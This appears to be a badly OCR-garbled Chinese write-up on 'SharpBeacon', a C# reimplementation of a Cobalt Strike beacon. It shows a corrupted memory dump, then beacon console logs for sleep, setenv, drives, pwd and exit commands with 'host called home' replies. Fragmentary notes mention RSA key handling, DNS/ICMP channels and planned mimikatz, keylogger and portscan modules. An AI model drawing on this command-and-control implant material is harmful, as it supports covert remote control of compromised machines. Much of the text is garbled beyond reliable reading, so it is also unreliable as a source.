I0007FFCE5B61070(DL 41 §1 E1|05 00 00 80|66 89 18 48|88 5C 24 08|RA T O B B ooo002 951 Tat
10007FFC65861080(|41 88 €1 C3|CC CC CC CC|CC CC CC CC |48 89 5¢C 24 |A. MIIHIIIIH \$ ggggggDEFSBFF"FS 00000298417t
10007FFCE5661090 |08 57 48 83 |EC 40 49 8B|D8 E8 52 00|00 00 48 8B|.WH.1@I.BER...H. DREREEE SO | NANNN29RA1 78
I0007FFC65B610A0| F8 48 8D 54 (24 20 33 CO[48 8B CB 48 (89 44 24 20 EH.T$ 3AH.EH.D$ hll S
[
157 |
BEE [E—X2%TF 0000029841780030 (C0000005, EXCEPTION ACCESS_VIOLATION) !
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4.6Z<TER 5y

XIERSY , EEBsleep, pwd, exit, setenv, drives, cd :
Sleep :

beacon> sleep 3

[*] Tasked beacon to sleep for 3s

[+] host called home, sent: 16 bytes

[+] received output
ok

exit :

beacon> exit

[*] Tasked beacon to exit

[+] host called home, sent: 8 bytes

setenv :

beacon> setenv tmpl2 D://1

[*] Tasked beacon to set tmpl2 to D:/f/1
[+] hos=t called home, sent: 20 bytes
[+] received ocutput

D://1EHER

drives :

beacon> drives

[*] Tasked beacon to list drives
[+] host called home, sent: 12 bytes
[+] received cutput

\D:\
Pwd :

beacon> pwd

[*] Tasked beacon to print working directory
[+] host called home, sent: 8 bytes

[+] received ocutput

Cc:\Users\kent\source\repos\SharpBeacon\Beacon\bin\Debug

ed C ’F' j‘r

[+] host called home, sent: 12 bytes

beacon> pwd

[*] Tasked beacon to print working directory
[+] host called home, sent: 8 bytes

[+] receiwved output

[::\\

B, TERYE
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REFRERANMATEERE , B TR :

ZEPRITHERLT |, Z AR TR A

B airsaZ4sA 2 pemAN# A 7 BouncyCastleFE , Z M [aExponent 1 Modulus
BLZHREAAR , APC, {RImHFZE

BZMIEFEUMY , 20DNS, ICMP

XHspawn** |, F Y TspawnFljobfg , teamserverii 4 B{EABRN HIdI , Edtsis
. BEZMITNEE , Amimi, keylogger, portscan, fMZpes m/aHil KEME.
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